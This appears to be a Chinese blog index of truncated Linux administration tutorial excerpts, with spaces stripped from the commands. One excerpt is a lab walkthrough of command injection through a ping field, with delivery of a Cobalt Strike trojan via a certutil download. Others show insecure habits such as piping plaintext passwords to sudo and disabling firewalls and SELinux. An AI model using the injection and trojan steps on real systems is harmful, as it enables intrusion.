环境准备 主机 IP Rocky_Linux（samba服务器） 192.168.3.1/24 windows11（客户端） 192.168.3.25/24 安装服务 dnfisntallsamba-y 修改配置 创建共享目录登录用户 useradd-M-s/sbin/nologinqclr echo123|passwd--stdinqclr mkdir/opt/qclr chown-Rqclr:qclrqclr/ smbpasswd-aqclr为"qclr"用户创建一个Samba密码 配置共享目录 在配置文件末尾添加即可 vim/etc/samb...

环境准备： 基于Rocky_Linux9安装配置 主机 IP zabbix-server 192.168.10.38/24 mysql-server 192.168.10.10/24 Agent-Centos7 192.168.10.37/24 安装前准备 下载zabbix6.4repo源 rpm-Uvhhttps://repo.zabbix.com/zabbix/6.4/rhel/9/x86_64/zabbix-release-6.4-1.el9.noarch.rpm dnfcleanall&&dnfmakecache 安装Zab...

环境准备： 主机 IP host1(日志服务器) 192.168.3.2/24 server(客户端) 192.168.3.1/24 简介 rsyslog是一个Linux系统日志服务工具，主要用来收集和监控从开机运行之后所发生的系统内核日志、服务日志和应用日志等。rsyslog具有良好的可扩展性，支持多种输入源和输出插件，能够根据需求进行定制化配置。它可以将不同类型的日志发送到不同的目的地，例如本地文件、远程服务器、数据库等。总的来说，rsyslog是一款非常实用的日志管理解决方案，能够满足各种复杂环境下的日志需求。 安装 Rocky-Linux9默认已安装 ...

简介 在Linux中普通用户执行某些系统命令时需要root权限，这时需要我们输入密码才能执行。当使用crond定时任务来执行shell脚本时，由于不会出现交互界面，执行到sudo需要输入密码时往往会执行出错，导致脚本无法正确运行。 解决方法 我们可以使用echo将密码作为输入传递给sudo-S命令，就可以很好的解决这个问题 简单示例： !/bin/bash time=$(date+"%F%Y%m%d%H%M%S") ifsystemctlstatushttpd>/dev/null2>&1;then echo"${time}http已启动">>succe...

crond计划任务 启停服务 systemctlstartcrond&&systemctlenablecrond 关闭服务 systemctlstopcrond&&systemctldisablecrond 日志文件 cat/var/log/cron 时间格式 分时日月周 分：0-59的整数 时：0-23的整数 日：1-31的整数 月：1-12的整数 星期：0-6的整数，0代表周日 书写格式 每天 , 分隔多个不连续的时间 - 指定连续时间范围 / 指定执行任务时间间隔 任务书写格式 每月的2-10号，凌...

sed命令 sed是一项Linux指令，它用于处理文本数据，功能与awk类似，但相对更简单. 常用命令选项 -n 屏蔽默认输出 -i 直接修改文件内容 -r 使用正则表达式 常用功能 p:打印文件指定行数 a：在当前行后面加入一行文本。 b：分支到脚本中带有标记的地方，如果分支不存在则分支到脚本的末尾。 c：用新的文本改变本行的文本。 d：从模板块（Patternspace）位置删除行。 D：删除模板块的第一行。 i：在当前行上面插入文本。 h：拷贝模板块的内容到内存中的缓冲区。 H：追加模板块的内容到内存中的缓冲区。 g：获得内存缓冲区的内容，并替代当前模板块中的文本...

pstree命令 以树状结构显示进程信息，包括进程之间的关系。 常用命令 -p 显示进程pid -a 显示完整的命令行 -u 列出每个进程所属账号名称 ps命令 静态查看当前系统运行的所有进程信息 常用命令参数 ps aux a选项表示显示所有进程，u表示以用户为主的格式显示，x表示显示没有控制终端的进程 ps -ef -e选项表示选择所有进程，-f表示使用完整的格式输出。 top命令 实时查看系统和进程的运行状态(默认每三秒刷新一次) 常用命令参数 P(大写) 以CPU占用最高的进程进行排序 M 以内存使用率最高的进程进行排序 -d ...

准备工作： 阿里云账号 PicGo 购买OSS对象存储 1）打开阿里云https://www.aliyun.com/首页搜索oss 2）在加载的页面中点击立即购买 3）商品类型选择OSS资源包，这里我选择40G(根据自身需求选择) 4）在控制台的资源管理中找到刚才购买的oss服务，点击前往oss控制台 创建Bucket 1）点击Bucket列表进行创建 2）设置Bucket名称，读写权限根据需要选择，如果只是自己访问不需要对外公开选择私有即可。 创建AccessKey 1）在右上角头像处点击，找到AccessKey管理 2）在弹出的提示中我们点击开始使用子用户AccessKe...

（1）排查思路： 1）检查网络配置 Linux: Windows: 2）ping测试 windows可以ping通Linux，但是Linux不能ping出来 3）检查防火墙 Linux防火墙处于关闭状态： 再检查Windows防火墙，发现处于启用状态 （2）解决方法 （1）直接关闭防火墙 1）点击启用或关闭防火墙 2）勾选关闭防火墙 （2）添加防火墙策略，放行ICMP协议 1）点击高级设置 2）新建入站规则 3）勾选自定义规则 4）在协议类型里选择ICMPv4（如果需要放行ICMPv6则再重复此操作创建即可） 5）操作里选择允许连...

1）Linux系统辨别目录与文件的方法 通过不同颜色区分文件类型 蓝色表示目录 白色表示文件 浅蓝色表示软链接文件（也就是Windows中的快捷方式） 绿色表示可执行文件 红色表示压缩文件 黄色表示设备文件 红色闪烁文件表示当前链接文件不可用 2）常用命令 常用快捷键 ctrl+c 取消当前执行的命令 ctrl+L清屏 Esc+.调出上一条命令的最后一个参数 3）head命令 默认查看文件中前十行的内容 head/etc/passwd -n指定显示的行数 head-n5/etc/passwd 4）tail命令 默认查看文件末尾的后10行内容 tail/e...

常用特殊符号 表示多个任意字符 ?表示单个任意字符 [0-9]表示多个连续范围中的一个 {a,b,cd,abdc}表示多组不同的字符串，全匹配 find命令 用于查找文件，目录的位置 常用参数 -exec 可接收额外的命令来处理查找到的结果 -type 指定要查找的文件类型(f文件；d目录；l链接文件) -name 要查找的文件名 -iname 按文件名查找忽略大小写 -size 指定文件大小(k、M、G+大于-小于) -a（并且） 两个条件同时满足 -o（或） 两个条件满足任意一个即可 -user 用户名 -mtime 指定日期查找(+代表多少天之前代表多少天之内，0代表24...

实验环境： 靶机：win7虚拟机 服务端：kali虚拟机 客户端：win10 使用ping命令观察回显 在IP后拼接其他命令测试，通过whoami可以看出当前系统为windows且登录用户为administrator 使用dir查看当前目录下的文件 二、生成木马程序 使用CS生成木马程序，上传至靶机内进行持久连接 在kali中运行服务端 添加一个监听器 生成木马，选中刚才添加的监听器 在当前目录使用python开启一个http服务 python-mhttp.server9090 三、上传木马程序 127.0.0.1&certutil.exe-u...

4层与7层负载的区别 四层负载均衡和七层负载均衡的区别在于，四层负载均衡是基于IP+端口的负载均衡，而七层负载均衡是基于URL等应用层信息的负载均衡。换句话说，四层负载均衡会通过一个虚拟IP地址接收请求，然后再分配到真实的服务器；七层负载均衡会通过虚拟的URL或者主机名接收请求，然后再分配到真实的服务器。 四层负载均衡效率比较高，但是功能比较简单；七层负载均衡功能比较多，控制比较灵活，但是效率相对较低。 一、7层负载构建 web服务器部署在这里不再赘述； 拓扑中红色线为心跳检测线，当任意一台发生故障时能够快速切换不影响整体业务使用。LVS+keepalived来实现高可用性负载均衡，当后...

一、安装PXE服务端环境 yuminstallvsftpddhcptftpxinetdsyslinuxtftp-server-y 二、拷贝镜像文件到ftp服务器根目录 切换到ftp默认目录 cd/var/ftp/pub mkdirdvd创建一个存放镜像的目录 chownftp:ftpdvd cp-rf/mnt/cdrom/dvd/ 三、配置dhcp服务器 vim/etc/dhcp/dhcpd.conf subnet10.10.10.0netmask255.255.255.0{指定网段 range10.10.10.10010.10.10.200;指定地址分配范围 optionroute...

一、安装qemu软件（qemu下载） 二、确认软件是否安装成功 安装qemu后，打开cmd检测是否安装成功，切换至安装目录下，输如以下命令 出现如下版本信息，则表示安装成功！ 三、将img文件转换为vmdk 开始转换img文件，首先确定img文件位置 打开cmd，切换至qemu安装目录 输入如下命令 .\qemu-img.execonvert-OvmdkD:\桌面\openwrt.imgD:\桌面\openwrt.vmdk 执行完毕后就可以在桌面看到vmdk文件了 在虚拟机中加载该文件，新建虚拟机时选择自定义 选择随后安装操作系统 ...

（1）创建主容器 dockerrun-d-p3306:3306--privileged=true-v/mysql/log:/var/log/mysql-v/mysql/data:/var/lib/mysql-v/mysql/conf:/etc/mysql/conf.d-eMYSQL_ROOT_PASSWORD=123456--namemysqlmysql: （2）在宿主机/mysql/conf中创建mysql配置文件 touch/mysql/conf/my.cnf vim/mysql/conf/my.cnf 写入以下内容↓↓↓ [mysqld] 设置server_id，同一局域网中需要...

在默认的网络模式bridge中，容器与容器之间只能通过IP互通无法解析主机名且无法通过主机名互通。 一、在默认网络模式下测试容器间的互通 新建两个容器 dockerrun-itd--namenetwork1--privilegedcentos:latest/usr/sbin/init dockerrun-itd--namenetwork2--privilegedcentos:latest/usr/sbin/init 在默认网络模式bridge下测试：通过IP地址互ping两个容器，可以正常访问，通过服务名则无法访问。 通过IP互ping，通断没有问题 通过服务名互ping时...

首先加载镜像文件到系统中 进入yum源目录，备份目录内所有文件 cd/etc/yum.repos.d mkdirbak mvbak 挂载iso镜像到指定目录 mount-tiso9660/dev/cdrom/mnt/cdrom 在cd/etc/yum.repos.d目录下创建一个新的.repo文件，写入以下内容 [AppStream] name=AppStream baseurl=file:///mnt/cdrom/AppStream 挂载iso文件的目录 gpgcheck=0 enabled=1 [BaseOS] name=BaseOS baseurl=f...

Linux目的NAT地址转换配置 实验准备： 客户端、网关、web服务器 网关需要配置为双网卡 目的：让内网的web服务器通过配置DNAT后可以被外网的用户访问。 一、初始化配置 确保客户端与Web服务器都能与网关连通 1）配置网关服务器 为网关添加双网卡 配置内外网IP信息 外网网卡 [root@NAT-SERVER]cat/etc/sysconfig/network-scripts/ifcfg-ens33 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none DEFROUTE=yes IPV4_...

NFS共享服务器搭建 NFS(NetworkFileSystem)即网络文件系统，它允许网络中的计算机之间通过TCP/IP网络共享资源。 一、配置共享服务器 新建一台centos7虚拟机，进行初始化操作并安装NFS共享服务； 1.关闭防火墙和selinux 临时关闭防火墙 servicefirewalldstop 关闭防火墙开机自启 servicefirewallddisable 查看防火墙状态 servicefirewalldstatus 2.关闭selinux setenforce0此方法为临时关闭 永久关闭需修改配置文件 【/etc/selinux/config】将【enfo...